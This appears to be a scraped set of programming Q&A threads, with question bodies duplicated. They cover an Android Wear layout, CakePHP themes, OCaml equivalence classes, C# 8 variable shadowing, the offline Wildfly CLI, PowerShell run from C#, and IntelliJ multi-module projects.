When running my code, the emulator looks like:

However when deployed to the watch, it looks like this:

Please ignore the actual text as the number is randomised however, why would the circle be cropped on the actual watch?

There are other minor difference such as text appearing on one line in the emulator sometimes spans two lines. How can I emulate the actual size of the watch face as I'm currently having to deploy to the watch and test on the watch directly.

Code:

```<code><?xml version="1.0" encoding="utf-8"?>
<android.support.wear.widget.BoxInsetLayout xmlns:android="http://schemas.android.com/apk/res/android"
    xmlns:app="http://schemas.android.com/apk/res-auto"
    xmlns:tools="http://schemas.android.com/tools"
    android:layout_width="match_parent"
    android:layout_height="match_parent"
    android:padding="@dimen/box_inset_layout_padding"
    tools:deviceIds="wear">
    <FrameLayout
        android:layout_width="match_parent"
        android:layout_height="match_parent"
        android:layout_gravity="center"
        android:padding="@dimen/inner_frame_layout_padding"
        app:boxedEdges="all">
            ...
            ...
            ...
    </FrameLayout>
</android.support.wear.widget.BoxInsetLayout>
</code>```

答:
Just remove BoxInsetLayout wrapper and set the appropriate size of the inner view.

BoxInsetLayout layout will scale your inner view to an inscribed rectangle to make sure your view won't be clipped by screen. But at the same time your available space will be reduced. In this case, there is not enough space to display the progress bar.

Because your emulator has enough space so inner view can be shown fully.

Alternative: It seems that you use a custom view, try to modify it to reduce minimum space requirement. Then your progress bar can fit into the reduced space.

Body:
I'm attempted to develop an app for an Android smart watch (Android Wear), specifically the Fossil Sport watch.

In Android Device Manager, I've set the base device to Android Wear Round Chin and  resolution to 320x320.

When running my code, the emulator looks like:

However when deployed to the watch, it looks like this:

Please ignore the actual text as the number is randomised however, why would the circle be cropped on the actual watch?

There are other minor difference such as text appearing on one line in the emulator sometimes spans two lines. How can I emulate the actual size of the watch face as I'm currently having to deploy to the watch and test on the watch directly.

Code:

<?xml version="1.0" encoding="utf-8"?>
<android.support.wear.widget.BoxInsetLayout xmlns:android="http://schemas.android.com/apk/res/android"
    xmlns:app="http://schemas.android.com/apk/res-auto"
    xmlns:tools="http://schemas.android.com/tools"
    android:layout_width="match_parent"
    android:layout_height="match_parent"
    android:padding="@dimen/box_inset_layout_padding"
    tools:deviceIds="wear">
    <FrameLayout
        android:layout_width="match_parent"
        android:layout_height="match_parent"
        android:layout_gravity="center"
        android:padding="@dimen/inner_frame_layout_padding"
        app:boxedEdges="all">
            ...
            ...
            ...
    </FrameLayout>
</android.support.wear.widget.BoxInsetLayout>


问:
Themes in CakePHP 2.0.0-dev
Trying to set up a mobile theme in CakePHP 2.0.0-dev, but it isn't working as it did in 1.3. Have there been any changes to the themes implementation in 2.0?

Structure as follows:

```<code>app/views/themed/mobile/layouts/default.ctp
app/views/themed/mobile/pages/home.ctp
</code>```

Then in app/app_controller.php:

```<code>public function beforeRender()
{
    if ($this->RequestHandler->isMobile()) {
        $this->view = 'Theme';
        $this->theme = 'mobile';
    }
}
</code>```

Hit the home page... But no mobile site... Just the normal site. No errors, nothing in debug or error logs. No errors, no exceptions. Nothing. As if themes have been deprecated or something.

Any ideas anyone?

答:
Solved!

After looking in cake/libs/view/theme.php, I read this:

...You can set $this->theme and $this->viewClass = 'Theme'...

```<code>public function beforeRender()
{
    if ($this->RequestHandler->isMobile()) {
        $this->viewClass = 'Theme';
        $this->theme = 'mobile';
    }
}
</code>```

So, looks like a slight change in version 2.0 to the variable name from $this->view to $this->viewClass.

Works now!

Title: Themes in CakePHP 2.0.0-dev

Body:
Trying to set up a mobile theme in CakePHP 2.0.0-dev, but it isn't working as it did in 1.3. Have there been any changes to the themes implementation in 2.0?

Structure as follows:

app/views/themed/mobile/layouts/default.ctp
app/views/themed/mobile/pages/home.ctp

Then in app/app_controller.php:

public function beforeRender()
{
    if ($this->RequestHandler->isMobile()) {
        $this->view = 'Theme';
        $this->theme = 'mobile';
    }
}

Hit the home page... But no mobile site... Just the normal site. No errors, nothing in debug or error logs. No errors, no exceptions. Nothing. As if themes have been deprecated or something.

Any ideas anyone?

Body:
Solved!

After looking in cake/libs/view/theme.php, I read this:

...You can set $this->theme and $this->viewClass = 'Theme'...

public function beforeRender()
{
    if ($this->RequestHandler->isMobile()) {
        $this->viewClass = 'Theme';
        $this->theme = 'mobile';
    }
}

So, looks like a slight change in version 2.0 to the variable name from $this->view to $this->viewClass.

Works now!


问:
Ocaml: Sorting a list into equivalence classes
I recently started learning ocaml and am having trouble figuring out a problem.

Goal:

Given a list of integers and a function, sort the integers into equivalence classes based on the given function as lists inside another list. The order of the equivalence lists must be the same as the order given in the original list.

Update: I have decided to try and get it working without library function.

This is my code so far. It compiles but does not run. Any help with syntax would be appreciated.

```<code>let buckets f lst =
  let rec helpfunction f lst newlist =
     match lst with
      | [] ->newlist
      | h::t -> match newlist with
             | [] -> helpfunction f lst [h]@newlist
             | [a]::_ -> if f h a
                  then helpfunction f t [a::h]@newlist
                  else helpfunction f t ([a]::[h]@mylist
</code>```

IMPORTANT: this is a homework question, so I am not looking for the code pasted for me. Im trying to logic through it on my home with a bit of help with the overall thought-process and syntax. Once I get it working I would to work on making it more efficient

答:
Well, let's try to solve the task without doing it actually :)

Roughly speaking, the algorithm looks as follows:

Take the integer x from the source list

If the target list of lists (each of them contains integers of the same equivalence class) contains the list of the appropriate equivalence class add x to this list

Otherwise, create a new equivalence class list containing a single value ([x]) and add it to the target list

Repeat 1-3 for the other integers in the target list.

(1), (3) and (4) seems to be quite trivial to implement.

The challenges are how to implement (2) and how to do it efficiently :)

"Target list contains the list that..." can be rephrased as "there exists a list lst in a target list such as..." - this gives us a strong hint that List.exists can be somehow used here. What to test is also more or less clear: each member of the same equivalence class list are equivalent by definition, so we can take just the head and compare it with x using p.

The question is how to add an integer to a list within another list. Lists are immutable, so we cannot just drop it there... But we can take the target list and transform, or fold it into another one. I bet you got the hint: List.fold_left is another piece of the puzzle.

So, summarizing all this we can come to the following "more precise" algorithm

Start from the empty target list res

Take an integer x from the source list l

Use List.exists to check if there is a list lst in res such as for its head h p x h = true

If yes, use List.fold_left to transform the current res into a new one, where lst replaced with x::lst and all other equivalence class lists are copied as is

If no, introduce a new equivalence class (add [x] to res)

Repeat 2-5 for the next integer in the source list until it is empty.

The implementation that (almost) literally follows this algorithm is relatively simple. But it will be not very efficient because exists and fold will iterate over the same list twice doing literally the same check. With some tweaks, it should be possible to make it in a single run, but this non-efficient one should be good enough as the starting point...

Body:
I recently started learning ocaml and am having trouble figuring out a problem.

Goal:

Given a list of integers and a function, sort the integers into equivalence classes based on the given function as lists inside another list. The order of the equivalence lists must be the same as the order given in the original list.

Update: I have decided to try and get it working without library function.

This is my code so far. It compiles but does not run. Any help with syntax would be appreciated.

let buckets f lst =
  let rec helpfunction f lst newlist =
     match lst with
      | [] ->newlist
      | h::t -> match newlist with
             | [] -> helpfunction f lst [h]@newlist
             | [a]::_ -> if f h a
                  then helpfunction f t [a::h]@newlist
                  else helpfunction f t ([a]::[h]@mylist

IMPORTANT: this is a homework question, so I am not looking for the code pasted for me. Im trying to logic through it on my home with a bit of help with the overall thought-process and syntax. Once I get it working I would to work on making it more efficient


问:
Why does the C# compiler allow a duplicated variable in nested scope?
Historically, when developing in .Net I could not duplicate the name of variable in nested scope. However, after recently updating Visual Studio 2019 to version 16.4.2 I have noticed that variable names can be duplicated in nested scope.

For example:

```<code>var test = "hello";
Console.WriteLine(test);
var things = new []{"one", "two", "three"};
things.Select(test => // <- test is duplicated here, normally this breaks compilation
{
    Console.WriteLine(test);
    return test;
}).ToList();

// output:
// hello
// one
// two
// three
</code>```

https://dotnetfiddle.net/h85BK4

Why is this suddenly allowed?

Follow up question: If this is a new language "feature", is there a way to configure Visual Studio to continue to break when a variable is duplicated in nested scope?

答: This is a new feature in C# 8.0, local function and lambda parameters can shadow outer names.</p>

Body:
Historically, when developing in .Net I could not duplicate the name of variable in nested scope. However, after recently updating Visual Studio 2019 to version 16.4.2 I have noticed that variable names can be duplicated in nested scope.

For example:

var test = "hello";
Console.WriteLine(test);
var things = new []{"one", "two", "three"};
things.Select(test => // <- test is duplicated here, normally this breaks compilation
{
    Console.WriteLine(test);
    return test;
}).ToList();

// output:
// hello
// one
// two
// three

https://dotnetfiddle.net/h85BK4

Why is this suddenly allowed?

Follow up question: If this is a new language "feature", is there a way to configure Visual Studio to continue to break when a variable is duplicated in nested scope?


问:
Using literal variables in a Wildfly OFFLINE CLI
I'd like to use an offline Wildfly CLI to add system properties

The problem is that the value should be a variable

This is the desired result:

```<code>        <property name="user.country" value="${country}"/>
</code>```

the problem is that the CLI try to resolve the variable

```<code>[disconnected /] embed-server
[standalone@embedded /] /system-property=user.country:add(value="${country}")
{
    "outcome" => "failed",
    "failure-description" => "WFLYCTL0211: Cannot resolve expression '${country}'",
    "rolled-back" => true
}
</code>```

I tried to escape the '$' with '$$' or '\$', but it doesn't worked.

Or rather, with '$$' I got

```<code><property name="user.language" value="$${countrylowercase}"/>
</code>```

If I run the server an retry with a connect CLI , it works normally.

How to do this offline?

As a workaround I'm doing a sed on the standalone to replace '$${' with '${', but it's not very clean...

答:
The solution is to use a property file written like this:

```<code>cat cli.property

    country=$country
    countrylowercase=$countrylowercase

</code>```
```<code>cat cli.commands

    embed-server
    /system-property=user.language:add(value="${countrylowercase}")
    /system-property=user.region:add(value="${country}")
    /system-property=user.country:add(value="${country}")
    stop-embedded-server

</code>```
```<code>$JBOSS_HOME/bin/jboss-cli.sh --properties=./cli.property --file=./cli.commands

{"outcome" => "success"}
{"outcome" => "success"}
{"outcome" => "success"}
</code>```

It's important to respect the syntax, because the following forma will also fail by using embedded mode

```<code>cat cli.property

    country=${country}
    countrylowercase=${countrylowercase}

</code>```

Body:
I'd like to use an offline Wildfly CLI to add system properties

The problem is that the value should be a variable

This is the desired result:

        <property name="user.country" value="${country}"/>

the problem is that the CLI try to resolve the variable

[disconnected /] embed-server
[standalone@embedded /] /system-property=user.country:add(value="${country}")
{
    "outcome" => "failed",
    "failure-description" => "WFLYCTL0211: Cannot resolve expression '${country}'",
    "rolled-back" => true
}

I tried to escape the '$' with '$$' or '\$', but it doesn't worked.

Or rather, with '$$' I got

<property name="user.language" value="$${countrylowercase}"/>

If I run the server an retry with a connect CLI , it works normally.

How to do this offline?

As a workaround I'm doing a sed on the standalone to replace '$${' with '${', but it's not very clean...

Body:
The solution is to use a property file written like this:

cat cli.property

    country=$country
    countrylowercase=$countrylowercase

cat cli.commands

    embed-server
    /system-property=user.language:add(value="${countrylowercase}")
    /system-property=user.region:add(value="${country}")
    /system-property=user.country:add(value="${country}")
    stop-embedded-server

$JBOSS_HOME/bin/jboss-cli.sh --properties=./cli.property --file=./cli.commands

{"outcome" => "success"}
{"outcome" => "success"}
{"outcome" => "success"}

It's important to respect the syntax, because the following forma will also fail by using embedded mode

cat cli.property

    country=${country}
    countrylowercase=${countrylowercase}


问:
Powershell return different results running the same script from c#
I am trying to run a simple script for getting file attributes.

```<code>string script = @"$path = 'C:\Temp\Indexing\Asm1.asm'
                            $shell = New-Object -COMObject Shell.Application
                            $folder = Split-Path $path
                            $file = Split-Path $path -Leaf
                            $shellfolder = $shell.Namespace($folder)
                            $shellfile = $shellfolder.ParseName($file)
                            0..500 | Foreach-Object { '{0} = {1}' -f $shellfolder.GetDetailsOf($null, $_), $shellfolder.GetDetailsOf($shellfile, $_).toString()}";

Runspace runspace = RunspaceFactory.CreateRunspace();
runspace.Open();
Pipeline pipeline = runspace.CreatePipeline();
pipeline.Commands.AddScript(script);
pipeline.Commands.Add("Out-String");
Collection<PSObject> results = pipeline.Invoke();
runspace.Close();
</code>```

When running within powershell I get more attribute results which are empty when running it through the code.
It seems like an access issue.
any help will be much appreciated!

答: Try adding #!/usr/bin/env pwsh as first line of the script.

Body:
I am trying to run a simple script for getting file attributes.

string script = @"$path = 'C:\Temp\Indexing\Asm1.asm'
                            $shell = New-Object -COMObject Shell.Application
                            $folder = Split-Path $path
                            $file = Split-Path $path -Leaf
                            $shellfolder = $shell.Namespace($folder)
                            $shellfile = $shellfolder.ParseName($file)
                            0..500 | Foreach-Object { '{0} = {1}' -f $shellfolder.GetDetailsOf($null, $_), $shellfolder.GetDetailsOf($shellfile, $_).toString()}";

Runspace runspace = RunspaceFactory.CreateRunspace();
runspace.Open();
Pipeline pipeline = runspace.CreatePipeline();
pipeline.Commands.AddScript(script);
pipeline.Commands.Add("Out-String");
Collection<PSObject> results = pipeline.Invoke();
runspace.Close();

When running within powershell I get more attribute results which are empty when running it through the code.
It seems like an access issue.
any help will be much appreciated!


问:
IntelliJ IDEA Project with Angular and Spring Boot
i've created an IntelliJ 'Empty Project' and added 2 Modules: One for Spring Boot (Backend) and one for Angular CLI (Frontend). So far, so good.
File Structure of my Project

Now i added the project to GitLab and got problems when cloning the project, bc for some reason it sometimes only gets one module.
Also I got Problems with .gitignore file, bc this would need to be outside of a specific module in my root-project. The same for .gitlab-ci.yml.

I can't add anything into my project except for new modules. Or at least it is then only shown in the project structure like here:Hidden folders in my project

What i now would need is some kind of root module/project which has the Spring and ANgular Modules as childs. So that they can start separately. But still can have some project-level files.

Is there any way to achieve this in IntelliJ?

Thank you for your help :)

答:
If I understood it well, what you want is similar to a mono-repo ? I don't know if thee is any libs that can help you doing that in java. But you can give a try to git submodules (https://git-scm.com/docs/git-submodule). It works with Gitlab.

You just have to create a .gitmodules file in root folder and reference your both git project. then you have plenty of command that can help you (like get your whole project with only one git clone).

resource : https://www.atlassian.com/git/tutorials/git-submodule

hope it'll help !